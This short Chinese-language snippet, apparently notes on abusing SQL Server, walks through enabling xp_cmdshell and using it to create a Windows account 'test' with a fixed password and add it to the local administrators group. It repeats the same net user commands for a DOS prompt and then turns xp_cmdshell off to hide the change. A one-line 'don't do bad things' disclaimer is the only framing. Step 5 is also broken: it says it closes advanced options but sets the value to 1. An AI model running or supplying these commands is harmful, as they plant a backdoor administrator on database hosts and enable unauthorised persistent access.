--不要干坏事
sql server中使用xp_cmdshell --1、允许配置高级选项 EXEC sp_configure \'show advanced options\',1 GO RECONFIGURE GO --2、开启xp_cmdshell服务 EXEC sp_configure \'xp_cmdshell\',1 RECONFIGURE GO --3、使用 xp_cmdshell master..xp_cmdshell \'net user test a123456! /add\';
master..xp_cmdshell \'net localgroup administrators test /add\';
--4、关闭 xp_cmdshell
EXEC sp_configure \'xp_cmdshell\',0 RECONFIGURE GO
--5、关闭高级选项
EXEC sp_configure \'show advanced options\',1 GO RECONFIGURE GO
在DOS下运行如下命令:
net user 用户名 "密码" /add (增加用户)
net localgroup administrators 用户名 /add 再把用户加为系统管理员,